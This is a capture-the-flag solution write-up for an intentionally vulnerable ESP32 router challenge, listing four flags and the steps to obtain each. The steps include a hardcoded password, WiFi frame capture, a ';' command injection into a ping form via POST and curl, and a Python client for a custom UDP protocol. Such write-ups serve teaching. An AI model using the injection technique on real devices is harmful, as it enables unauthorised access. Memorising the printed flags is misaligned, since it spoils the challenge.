- Remove undeployed challenges: Phantom_Byte, Cr4cK_w1f1, Lain_Br34kC0r3 V1, Lain_VS_Knights, Lets_All_Love_UART, AETHER_NET, Last_Train_451, Web3/ - Sync 24 solve/ files from main CTF-Espilon repo - Update all READMEs with real CTFd final scores at freeze - Add git-header.png banner - Rewrite README: scoreboard top 10, edition stats (1410 users, 264 boards, 1344 solves), correct freeze date March 26 2026
4.1 KiB
Jnouner Router — Solution
Category: ESP | Type: Multi-part (4 flags)
| Flag | Name | Points | Flag value |
|---|---|---|---|
| 1/4 | Console Access | 100 | ESPILON{Jn0un3d_4dM1N} |
| 2/4 | 802.11 TX | 200 | ESPILON{802_11_tx_jnned} |
| 3/4 | Admin Panel | 300 | ESPILON{Adm1n_4r3_jn0uned} |
| 4/4 | JMP Protocol | 400 | ESPILON{Jn0un3d_UDP_Pr0t0c0l} |
Setup
Flash the firmware on an ESP32:
esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 460800 write_flash -z \
0x1000 bootloader.bin \
0x8000 partition-table.bin \
0x10000 jnouned_router.bin
Open the UART console:
screen /dev/ttyUSB0 115200
Flag 1 — Console Access
The UART console shows a jnoun-console> prompt. The password is hardcoded in
the firmware as three concatenated parts. Read the ELF strings or reverse
build_admin_password() in admin.c:
p1 = "jnoun-"
p2 = "admin-"
p3 = "2022"
→ password = "jnoun-admin-2022"
admin_login jnoun-admin-2022
Flag 1 is printed on success.
Flag 2 — 802.11 TX
From the admin console, trigger 802.11 frame emission:
settings ← reveals WiFi SSID/PSK (XOR-obfuscated in firmware)
start_emitting ← starts sending raw 802.11 data frames for 90 seconds
WiFi credentials recovered from firmware (wifi.c, XOR key 0x37):
- SSID:
Jnoun-3E4C - PSK:
LAIN_H4v3_Ajnoun
Put a WiFi card into monitor mode and capture the 802.11 frames while the flooder runs. Among random noise frames, one frame (emitted at a random time between 5 and 85 seconds) contains flag 2 in its payload:
airmon-ng start wlan0
tcpdump -i wlan0mon -w capture.pcap
# or
tshark -i wlan0mon -w capture.pcap
Filter for non-noise frames (payload not all-random). Flag 2 appears as cleartext in the 802.11 data frame payload.
Flag 3 — Admin Panel
Connect to the WiFi AP (Jnoun-3E4C / LAIN_H4v3_Ajnoun). The router runs an
HTTP server at http://192.168.4.1.
Login with default credentials: admin / admin.
The /admin page contains a "ping" form that posts to /api/ping. The admin
page hints: "Parser séparateur ';'" — the internal shell splits on ;.
Inject via the target field:
POST /api/ping
target=192.168.1.1; flag
Flag 3 is printed to the UART console (ESP_LOGE output).
Or URL-encoded via curl:
curl -b "auth=1" -X POST http://192.168.4.1/api/ping \
-d "target=x%3B+flag"
Flag 4 — JMP Protocol
From the admin panel, trigger the exfiltration session:
target=x; start_session
The UART console shows:
JMP Server listening on UDP:6999
PROTOCOL INITIALIZATION LEAK:
Magic: 0x4A4D5021
Auth hash (SHA256): <hash>
Hint: Secret pattern is JNOUNER_SECRET_XXXX
The secret is JNOUNER_SECRET_EXFILTRATION. Authenticate with its SHA256 hash,
then request data blocks:
import socket, struct, hashlib
HOST = "192.168.4.1"
PORT = 6999
MAGIC = 0x4A4D5021
SECRET = b"JNOUNER_SECRET_EXFILTRATION"
secret_hash = hashlib.sha256(SECRET).digest()
# AUTH_REQUEST: magic(4) + type(1=0x01) + hash(32)
auth_pkt = struct.pack(">IB", MAGIC, 0x01) + secret_hash
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(auth_pkt, (HOST, PORT))
# AUTH_RESPONSE: magic(4) + type(1) + status(1) + token(4)
resp, _ = sock.recvfrom(1024)
magic, ptype, status, token = struct.unpack(">IBBI", resp[:10])
print(f"Token: 0x{token:08x}")
# Request all blocks
flag = b""
for block_id in range(10):
# DATA_REQUEST: magic(4) + type(1=0x10) + token(4) + block_id(1)
req = struct.pack(">IBIB", MAGIC, 0x10, token, block_id)
sock.sendto(req, (HOST, PORT))
resp, _ = sock.recvfrom(1024)
# DATA_RESPONSE: magic(4)+type(1)+block_id(1)+total_blocks(1)+data_len(1)+data(N)+checksum(2)
if len(resp) < 8:
break
_, _, bid, total, dlen = struct.unpack(">IBBBB", resp[:8])
data = resp[8:8+dlen]
flag += data
if bid + 1 >= total:
break
print(flag.decode())
Author
Eun0us